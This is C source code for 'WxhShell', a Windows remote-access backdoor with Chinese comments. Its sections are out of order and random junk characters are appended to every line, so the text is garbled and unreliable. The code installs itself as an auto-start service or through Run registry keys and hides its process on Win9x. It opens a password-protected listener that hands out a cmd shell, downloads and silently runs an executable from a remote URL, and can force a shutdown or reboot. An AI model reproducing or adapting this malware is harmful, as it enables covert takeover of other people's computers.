  case 'd': { M.R] hI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N%&D(_  
    if(Boot(SHUTDOWN)) )C CrO   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V2?&3Z) W  
    else { pu*vFwZ  
    closesocket(wsh); qP0_#l&  
    ExitThread(0); *!y.!v*  
    } lhA<wV1-9G  
    break; zx{O/v KG  
    } hq^@t6!C\m  
  // 获取shell pJ1Q~tI  
  case 's': { A?xb u*zV,  
    CmdShell(wsh); `FM^)(wT  
    closesocket(wsh); A{Q:,S)  
    ExitThread(0); +t XOP|X  
    break; !zNMU$p  
  } y 3O Nn~k  
  // 退出 #dgWXO  
  case 'x': { D%Y{(l+X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j\SW~}d9  
    CloseIt(wsh); cAE.I$T(  
    break; Y)I8(g}0  
    } qm)KO 4  
  // 离开 5CsJghTw  
  case 'q': { J12 ZdC'O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #}A >B  
    closesocket(wsh); ep<2u x  
    WSACleanup(); ZSTpA,+6  
    exit(1); <IBzh_  
    break; 9GZKT{*  
        } [af<FQ{  
  } emV@kN.  
  } 9)qjW&`  
'?~k`zK  
  // 提示信息 ?DC3BA\)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N|ut^X+|\  
} $v6dB {%Qu  
  } ,SAS\!hsE  
7^~pOFdH  
  return; -vfV;+3  
} {-]/r  
9R"bo*RIS  
// shell模块句柄 ya'@AJS  
int CmdShell(SOCKET sock) /N ^%=G#  
{ Dn?P~%  
STARTUPINFO si; a]465FY  
ZeroMemory(&si,sizeof(si)); "]nbM}>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~qiSkG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; snBC +`-  
PROCESS_INFORMATION ProcessInfo; <'4DMZ-G  
char cmdline[]="cmd"; w%1B_PyDg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X~Li`  
  return 0; 1lNg} !)[K  
} T@]vjXd![  
(r^IW{IndX  
// 自身启动模式  /y,~?  
int StartFromService(void) g'`J'6Pn  
{ x=qACoq  
typedef struct jBEt!Azur  
{ XRI1/2YA  
  DWORD ExitStatus; kl|KFdA;  
  DWORD PebBaseAddress; Iy](?b  
  DWORD AffinityMask; E$FXs~a  
  DWORD BasePriority; &:-`3J-  
  ULONG UniqueProcessId; $s hlNW\  
  ULONG InheritedFromUniqueProcessId; zy#E qv  
}   PROCESS_BASIC_INFORMATION; gT R:9E:B  
id.o )=  
PROCNTQSIP NtQueryInformationProcess; L$`!~z 1  
A]{8 =  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Ey(0BxNu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MWCP/~>a2  
C<6IiF[>%  
  HANDLE             hProcess; 3Nh;^  
  PROCESS_BASIC_INFORMATION pbi; 0rT-8iJp4P  
{nbD5 ?   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E YUr.#:  
  if(NULL == hInst ) return 0; #TUsi,jG  
1GW=QbO 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }@Oy kN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H+; _fd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sf?D4UdIH  
;1cX|N=  
  if (!NtQueryInformationProcess) return 0; /s=TLPm  
r! 5C3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CD^_>sya  
  if(!hProcess) return 0; odquAqn  
QH4nb h4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )E^4\3 ^:  
@)m+O#a  
  CloseHandle(hProcess); F5J=+Q%8[&  
;G~0 VM2|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =5LtEgHU  
if(hProcess==NULL) return 0; q]5"V>D \  
FI~)ZhE)]  
HMODULE hMod; QHsS|\u  
char procName[255]; HF5aU:M  
unsigned long cbNeeded; RH. oo&  
mYb8   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jo<[|ZD  
9\Mesf1$o  
  CloseHandle(hProcess); iYv6B6o/99  
P7 E}^y`e  
if(strstr(procName,"services")) return 1; // 以服务启动 [(`T*c.#.X  
d?&?$qf[  
  return 0; // 注册表启动 L"tj DAV  
} ^?toTU   
_q=$L eO5  
// 主模块 c?eV8h1G  
int StartWxhshell(LPSTR lpCmdLine) mxQS9y  
{ s+^o[R T3  
  SOCKET wsl; >lyUr*4PX  
BOOL val=TRUE; X<(h)&E  
  int port=0; k KL^U  
  struct sockaddr_in door; (J<@e!@NE  
)u ]<8  
  if(wscfg.ws_autoins) Install(); Tc\^=e^N?  
S_6`.@B}  
port=atoi(lpCmdLine); pp#Kb 2*  
4I^6[{_  
if(port<=0) port=wscfg.ws_port; F)_Rs5V:(  
Ajq;\- :  
  WSADATA data; t22BO@gt74  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n`68<ybl5  
kd'qYh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .^dj B x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j>?H^fB  
  door.sin_family = AF_INET; kzns:-a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ss,t[`AV{  
  door.sin_port = htons(port); z8>KY/c  
jL%-G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #JO#PV%  
closesocket(wsl); q&Q* gEFK  
return 1; 9|Jmj @9  
} b3EW"^Ar  
F!`.y7hY@  
  if(listen(wsl,2) == INVALID_SOCKET) { g=b[V   
closesocket(wsl); $|6Le; K  
return 1; DD|%F  
} \(Zdd \,  
  Wxhshell(wsl); Si*Pi  
  WSACleanup(); xHykU;p@  
.m/Lon E  
return 0; 0'BR Sa<  
MJV&%E6{:{  
} 7x-k-F3  
N iNZh;  
// 以NT服务方式启动 52l|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MY9?957F  
{ Zi@?g IiX  
DWORD   status = 0; i3;Z:,A4NN  
  DWORD   specificError = 0xfffffff; fPK|Nw]b  
&!/L^Y*+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ax0u \(p<^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qg:1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cKF02?)TX  
  serviceStatus.dwWin32ExitCode     = 0; lUCdnp;w'  
  serviceStatus.dwServiceSpecificExitCode = 0; %~^R Iwm  
  serviceStatus.dwCheckPoint       = 0; [JMz~~ F  
  serviceStatus.dwWaitHint       = 0; SY<!-g<1F  
xfO!v>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *qY`MW  
  if (hServiceStatusHandle==0) return; N##3k-0Ao  
$hn_4$  
status = GetLastError(); HQ@X"y n  
  if (status!=NO_ERROR) gl.P#7X  
{ 2d<ma*2n(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4=F~^Xc`  
    serviceStatus.dwCheckPoint       = 0; N;-+)=M,rf  
    serviceStatus.dwWaitHint       = 0; t}nZrD  
    serviceStatus.dwWin32ExitCode     = status; IH[/fd0  
    serviceStatus.dwServiceSpecificExitCode = specificError; f:"es: Fb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mN3%;$ND7  
    return; $L:g7?)k  
  } pK *-In  
RJF1~9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,UWO+B]  
  serviceStatus.dwCheckPoint       = 0; &}:Hp9n  
  serviceStatus.dwWaitHint       = 0; B{s[SZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #1u4Hi(x5  
} ,!%[CpM3  
@%ChPjN  
// 处理NT服务事件,比如:启动、停止 r^#.yUz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6=A ++H @  
{ 0\o0(eHCQz  
switch(fdwControl) N[aK#o,  
{ {x2N~1!E  
case SERVICE_CONTROL_STOP: [_-CO }>  
  serviceStatus.dwWin32ExitCode = 0; 1#]tCi`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y7d)[d*Mz  
  serviceStatus.dwCheckPoint   = 0; 4y 582u6^  
  serviceStatus.dwWaitHint     = 0; dHf_&X2A  
  { rS(693kb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8EbYk2j  
  } _~Lhc'^p*  
  return; s}`=pk/FM  
case SERVICE_CONTROL_PAUSE: OX|/yw8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Eto0>YyZ  
  break; u4z]6?,"e  
case SERVICE_CONTROL_CONTINUE: uZmfvMr3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w{2V7*+l  
  break; e *;"$7o9  
case SERVICE_CONTROL_INTERROGATE: ",&}vfD4M  
  break; _a15R/S  
}; YDjQ&EH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m>zUwGYEu  
} us`hR!_  
JguE#ob2  
// 标准应用程序主函数 IO^O9IEx,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JO+ hD4L  
{ b LL!iz?  
`'Z ;+h]  
// 获取操作系统版本 Qkr'C n  
OsIsNt=GetOsVer(); rU.ew~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zFB$^)v"<  
z<^HohT  
  // 从命令行安装 Y&'2/zI6~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q9%N>h9  
VD36ce9  
  // 下载执行文件 ]>R`]U9*O  
if(wscfg.ws_downexe) { ^!pagt^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'f;+*~*L  
  WinExec(wscfg.ws_filenam,SW_HIDE); wF@qBDxg  
} x0Tb7y`  
iKp4@6an  
if(!OsIsNt) { bG.aV#$FIg  
// 如果时win9x,隐藏进程并且设置为注册表启动 N1#*~/sXh  
HideProc(); <-}6X  
StartWxhshell(lpCmdLine); wQM(Lm#Q  
} 3@ay9!Xq  
else YroKC+4"i  
  if(StartFromService()) zUwz[^d<C  
  // 以服务方式启动 %I6iXq#  
  StartServiceCtrlDispatcher(DispatchTable); )vuxy  
else Qo;$iLt  
  // 普通方式启动 jew?cnRmd  
  StartWxhshell(lpCmdLine);  &h4(lM  
:kY][_  
return 0; x:sTE u@  
} 5'l+'ox@J  
|!57Z4X  
!8l4H c8  
oxcAKo  
=========================================== J]N-^ld\\  
4!/{CGP  
.f(x9|K^  
] MUuz'<  
3b#KrN'  
8uT@$ ./  
" bE]2:~  
Fm [,u  
#include <stdio.h> uERc\TZ  
#include <string.h> *(o~pxFTR  
#include <windows.h> \:-; {  
#include <winsock2.h> _5.7HEw>/  
#include <winsvc.h> 1S.nqOfx  
#include <urlmon.h> 8@b@y|#]X  
(q:L_zFj>"  
#pragma comment (lib, "Ws2_32.lib") mI"|^!L  
#pragma comment (lib, "urlmon.lib") @BW~A@8  
42# rhgW  
#define MAX_USER   100 // 最大客户端连接数 !30Dice  
#define BUF_SOCK   200 // sock buffer uiDR}   
#define KEY_BUFF   255 // 输入 buffer 47 m:z5;  
Dyt}"r\  
#define REBOOT     0   // 重启 \n:'>:0X!  
#define SHUTDOWN   1   // 关机 (MNbABZQ  
5^0W\  
#define DEF_PORT   5000 // 监听端口 9O@ eJ$  
O]^E%;(]}i  
#define REG_LEN     16   // 注册表键长度 (hd2&mSy  
#define SVC_LEN     80   // NT服务名长度 9.1%T06$  
fS!%qr  
// 从dll定义API q1NAKcA<U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1{nXmtvr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8Jxo;Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'y;[ fwo7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /o8h1L=  
7c+TS--  
// wxhshell配置信息 ";s?#c  
struct WSCFG { <K4'|HU/  
  int ws_port;         // 监听端口 zy+|)^E  
  char ws_passstr[REG_LEN]; // 口令 4HkOg)a  
  int ws_autoins;       // 安装标记, 1=yes 0=no f&{2G2 O%  
  char ws_regname[REG_LEN]; // 注册表键名 sl/#1B   
  char ws_svcname[REG_LEN]; // 服务名 pjHUlQ   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U.?,vw'aai  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7M^!t X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;wTl#\|w0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9{xP~0g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |910xd`Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %4+r&  
C4Bh#C  
}; {T m-X`  
g4I(uEJk  
// default Wxhshell configuration lh8`.sWk4V  
struct WSCFG wscfg={DEF_PORT, mm:\a-8j  
    "xuhuanlingzhe", Os?~U/  
    1, 2hmV 1gj  
    "Wxhshell", "{L%5:H@  
    "Wxhshell", In^$+l%O[  
            "WxhShell Service", N55;oj_K  
    "Wrsky Windows CmdShell Service", Ngh9+b6[  
    "Please Input Your Password: ", Wd&!##3$Q  
  1, Ojie.+'SB  
  "http://www.wrsky.com/wxhshell.exe", ]}KmT"vA  
  "Wxhshell.exe" l_+s$c  
    }; ddlLS  
.w[]Q;K_[)  
// 消息定义模块 4wBMBCJ;P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r-&4<=C/N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +?nW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ] |~],\  
char *msg_ws_ext="\n\rExit."; g3Kc? wTC  
char *msg_ws_end="\n\rQuit."; EvQN(_  
char *msg_ws_boot="\n\rReboot..."; (ioi !p  
char *msg_ws_poff="\n\rShutdown..."; 4J-)+C/edx  
char *msg_ws_down="\n\rSave to "; K^s!0[6  
2-]gHAw%  
char *msg_ws_err="\n\rErr!"; 8cR4@Hqx  
char *msg_ws_ok="\n\rOK!"; ^Zydy  
IqcPml{\  
char ExeFile[MAX_PATH]; .CrahV1G  
int nUser = 0; :m^eNS6:  
HANDLE handles[MAX_USER]; a|T P2m  
int OsIsNt; A&F@+X6@  
+a nNpy  
SERVICE_STATUS       serviceStatus; I)Lg=n$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9[6xo!  
4N*Fq!k~  
// 函数声明 jJ|u!a  
int Install(void); 3DMfR ofg  
int Uninstall(void); "%-HZw%X  
int DownloadFile(char *sURL, SOCKET wsh); |giK]Z  
int Boot(int flag); C03ehjT<  
void HideProc(void); @j5W4HU  
int GetOsVer(void); VU}UK$JN  
int Wxhshell(SOCKET wsl); +Rxf~m(pV  
void TalkWithClient(void *cs); m:II<tv  
int CmdShell(SOCKET sock); 5JIa?i>B  
int StartFromService(void); pbR84g^p.S  
int StartWxhshell(LPSTR lpCmdLine); K=+w,H# `C  
GkaIqBS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2O`uzT$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SYeCz(H>d  
{$oZR" MP  
// 数据结构和表定义 (9fqUbG  
SERVICE_TABLE_ENTRY DispatchTable[] = u+z$+[lm!G  
{ +%$!sp?  
{wscfg.ws_svcname, NTServiceMain}, m"X0Owx  
{NULL, NULL} P0k|33;7L  
}; uTBls8  
rsOon2|  
// 自我安装 i2)rDek3]T  
int Install(void) c*HS#C7'2  
{ g9'50<|J  
  char svExeFile[MAX_PATH]; k]ptk^  
  HKEY key; CPF d 3 3  
  strcpy(svExeFile,ExeFile); -O^b  
ZTM zL%i  
// 如果是win9x系统,修改注册表设为自启动 EX=+TOkAf  
if(!OsIsNt) { 6=MejT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P[% W[E<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86vk"  
  RegCloseKey(key); Rfeiv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fPZBm&`C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dxUq5`#G,  
  RegCloseKey(key); zp,f}  
  return 0; cQ1oy-paD  
    } ce 1KUwo]  
  } :sk7`7v  
} %:YON,1b=7  
else { p_!Y:\a5  
VKS:d!}3E  
// 如果是NT以上系统,安装为系统服务 DU({Ncge  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?R;5ErZ  
if (schSCManager!=0) &CCB;Oi%  
{ CNM/}|N^Si  
  SC_HANDLE schService = CreateService T{{J' _s5L  
  ( ,#`gwtFG  
  schSCManager, D>VI{p  
  wscfg.ws_svcname, 2JUX29rER  
  wscfg.ws_svcdisp, /vD5C  
  SERVICE_ALL_ACCESS, 3E y#?   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bwn9ZYu#r  
  SERVICE_AUTO_START, K:465r:  
  SERVICE_ERROR_NORMAL, )p(5$AR7  
  svExeFile, \aU^c24>  
  NULL, {ZY^tTsY  
  NULL, $/Zsy6q:  
  NULL, zf5s\w.4  
  NULL, _+wv3? c"  
  NULL 8Rc4+g  
  ); FWq 6e,  
  if (schService!=0) 0r_8/|N#  
  { f&7SivS#  
  CloseServiceHandle(schService); MS_&;2  
  CloseServiceHandle(schSCManager); X+?*Tw!\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B#B$w_z  
  strcat(svExeFile,wscfg.ws_svcname); F, %qG,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zTAt% w5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Haaungb"  
  RegCloseKey(key); %*oz~,i  
  return 0; E )09M%fe  
    } cx1U6A+  
  } mhnD1}9,Ih  
  CloseServiceHandle(schSCManager); J,4]d u$  
} |.*),t3 (w  
} pvDr&n9  
HJ !)D~M{  
return 1; zVGjXuNa  
} wU2y<?$\8  
]Qkto4DQ5  
// 自我卸载 pIC CjA?3@  
int Uninstall(void) [j 'Ogm7"  
{ jF Bq>  
  HKEY key; fP&F$"o8  
d[kb]lC  
if(!OsIsNt) { n-}:D<\7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yodJGGAzk  
  RegDeleteValue(key,wscfg.ws_regname); 4+$<G/K  
  RegCloseKey(key); ~Rs|W;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9hmCvQgtf  
  RegDeleteValue(key,wscfg.ws_regname);  ^G~W}z?-  
  RegCloseKey(key); % 95:yyH 0  
  return 0; ]6pxd \Q  
  } =yz#L@\!  
} !jU<(eY  
} rf@/<Wu  
else { 5#80`/w^U  
jMzHs*:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qaA\.h7  
if (schSCManager!=0) ig")bt3s5  
{ ]i8K )/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >|o-&dk  
  if (schService!=0) Z, lUO.  
  { ":Kn@S'{(  
  if(DeleteService(schService)!=0) { }2:bYpYQ  
  CloseServiceHandle(schService); ?\<2*sW [k  
  CloseServiceHandle(schSCManager); GH7{_@pv8  
  return 0; P9B@2#  
  } Bag2sk  
  CloseServiceHandle(schService); e%R+IH5i  
  } f`:e#x  
  CloseServiceHandle(schSCManager); hIXGfvUy  
} QTz{ZNi!  
} ::j'+_9  
b v\V>s  
return 1; xGk@BA=0<  
} n{r+t=X  
pnxjuDN7}x  
// 从指定url下载文件 U`W^w%  
int DownloadFile(char *sURL, SOCKET wsh) >-s}1*^=oD  
{ L}XERO TR  
  HRESULT hr; "<v_fF<Y  
char seps[]= "/"; $a15 8  
char *token; _a+0LTo".  
char *file; q)G*"  
char myURL[MAX_PATH]; KjZ^\lq'  
char myFILE[MAX_PATH]; Pl}}!<!<z  
[l- zU}u&v  
strcpy(myURL,sURL); ,^26.p$  
  token=strtok(myURL,seps);  ,H1J$=X'  
  while(token!=NULL) yx{Ac|<mR  
  { UciWrwE  
    file=token; CV]PCq!  
  token=strtok(NULL,seps); >:W)9o  
  } 8kW9.   
D8m?`^Zz  
GetCurrentDirectory(MAX_PATH,myFILE); E;VBoN [  
strcat(myFILE, "\\"); ;FMK>%Zq  
strcat(myFILE, file); ZNOoyWYi5  
  send(wsh,myFILE,strlen(myFILE),0); $C9<{zX   
send(wsh,"...",3,0); Co[[6pt~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R:E6E@T  
  if(hr==S_OK) 3[SN[faS  
return 0; ~-']Q0Z  
else iV'-j,-i  
return 1; **! lV]/  
+GP"9S2%R  
} jph~ g*Z  
AN^,  
// 系统电源模块 AA>5h<NM  
int Boot(int flag) Wn0r[h5t  
{ <Ks?g=K-  
  HANDLE hToken; 4TwU0N+>  
  TOKEN_PRIVILEGES tkp; rJ\A)O+Mq(  
"*+epC|ks  
  if(OsIsNt) { h,FP,w;G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +}mj6I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Wc eDY  
    tkp.PrivilegeCount = 1; j"94hWb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4fzq C)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xBgf)'W_Z  
if(flag==REBOOT) { 2-j|q6m5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qi=rhN`  
  return 0; M?[lpH3  
} R&ou4Y:DG  
else { lmH!I )5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7c %@2  
  return 0; &sS k~:  
} OUI}jJw+  
  } ry~3YYEMI0  
  else { M#<x2ojW  
if(flag==REBOOT) { Z"Et]xSU%$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2<ef&?ljk  
  return 0; /R|"/B0  
} _& KaI }O  
else { +S;8=lzuV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s3J T1TX  
  return 0; d57(#)`  
} m G?a)P  
} }Q\yem  
WCR+ZXI?1  
return 1; elKQge  
} OR?8F5o?p  
]\#RsVX  
// win9x进程隐藏模块 *\S>dhJ4  
void HideProc(void) {/Q pEd>3+  
{ ?a}eRA7  
Q96g7[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9sYX(Fl  
  if ( hKernel != NULL ) UwE^ij  
  { 1+y&n?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \F1n Ej  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,ypxy/  
    FreeLibrary(hKernel); ulj`+D?H  
  } ^1*p]j(  
V{d"cs>9  
return; n0vPW^EQ  
} m.V mS7_I  
5.GBd_;  
// 获取操作系统版本 <}4|R_xY#  
int GetOsVer(void) g^0  
{ Z :Kob b  
  OSVERSIONINFO winfo; ;P2~cQjD;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #(  kT  
  GetVersionEx(&winfo); xHD!8 B)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zcxG%? Q  
  return 1; OVj,qL)  
  else 9 z3Iwl  
  return 0; j<l>+., U  
} e;!<3b  
NoKYHN^*w  
// 客户端句柄模块 i^QcW!X&  
int Wxhshell(SOCKET wsl) =A!I-@]q<  
{ 57[O)5u.+  
  SOCKET wsh; JRodYXjE  
  struct sockaddr_in client; m|f|u3'z$  
  DWORD myID; \ [>Rt  
{|rwIRe  
  while(nUser<MAX_USER) IL>g-  
{ Wq,UxMz  
  int nSize=sizeof(client); G53!wIW2:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NEGpf[$  
  if(wsh==INVALID_SOCKET) return 1; 4tu2%Og)?  
pAa{,,Qc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \{UiGCK  
if(handles[nUser]==0) C}00S{nAZ  
  closesocket(wsh); UyF]gO  
else SnXYq 7`t  
  nUser++; #a .aD+d'  
  } ;c;;cJc!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]]7s9PCN  
CX1'B0=\r  
  return 0; 'E7|L@X"r  
} \7/xb{z|  
DAvAozM  
// 关闭 socket .d8~]@U!<  
void CloseIt(SOCKET wsh) }RyYzm2  
{ |UlScUI,  
closesocket(wsh); (TY^ kySr  
nUser--; ](a<b@p  
ExitThread(0); yXEC@#?|  
} Z>X -ueV  
-AffKo  
// 客户端请求句柄 L~0B  
void TalkWithClient(void *cs) FvvF4 ,e5  
{ `[:f;2(@  
 Ng-3|N  
  SOCKET wsh=(SOCKET)cs; Pd@?(WQ  
  char pwd[SVC_LEN]; /Wj9Stj5  
  char cmd[KEY_BUFF]; G4=v2_]  
char chr[1]; 9^aMmN&6N2  
int i,j; R_H di~ k  
kj-S d^  
  while (nUser < MAX_USER) { W}Z|v M$  
s+(8KYTs`  
if(wscfg.ws_passstr) { S&QZ"4jq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); goxgJOiB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U| y+k`  
  //ZeroMemory(pwd,KEY_BUFF); w>!KUT  
      i=0; )D#*Q~   
  while(i<SVC_LEN) { YL{LdM-xM  
'7E?|B0],  
  // 设置超时 @,s[l1P  
  fd_set FdRead; |9(uiWf  
  struct timeval TimeOut; c5t?S@b  
  FD_ZERO(&FdRead); "0]i4d1l  
  FD_SET(wsh,&FdRead); V= .'Db2D  
  TimeOut.tv_sec=8; TSD7.t)^  
  TimeOut.tv_usec=0; $MP'j9-S?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ND I|;   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,ur_n7+LH  
1YS{; y[o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g.,IQ4o  
  pwd=chr[0]; ,7/N=mz  
  if(chr[0]==0xd || chr[0]==0xa) { M/#<=XhA  
  pwd=0; [1Vh3~>J6  
  break; un..UU4  
  } ~s88JLw%&u  
  i++; H(""So7L  
    } ,rG$JCS'KQ  
(A ?e}M^}  
  // 如果是非法用户,关闭 socket Jj([O2Eq$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u/``*=Y@  
} hB|LW^@v  
m+V'*[O{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O@EpRg1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %*Y:Rm'>  
NB>fr#pb  
while(1) { { \Q'eL8  
k.rZj|7 L  
  ZeroMemory(cmd,KEY_BUFF); 'KXvn0  
tTP"*Bb  
      // 自动支持客户端 telnet标准   %pV/(/Q  
  j=0; n*'|7#;  
  while(j<KEY_BUFF) { f4:g D*YT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /tV)8pEj  
  cmd[j]=chr[0]; PCD1I98  
  if(chr[0]==0xa || chr[0]==0xd) { K72U0}$B  
  cmd[j]=0; fpzC#  
  break; b~cN#w #  
  } !v94FkS>  
  j++; b^FB[tZ\x  
    } :~g=n&x  
CxwZ$0  
  // 下载文件 + e4o~ p  
  if(strstr(cmd,"http://")) { S^~GI$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iGm[fxQ|  
  if(DownloadFile(cmd,wsh)) L%N|8P[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \/'u(|G  
  else *R8q)Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N0/DPZX7  
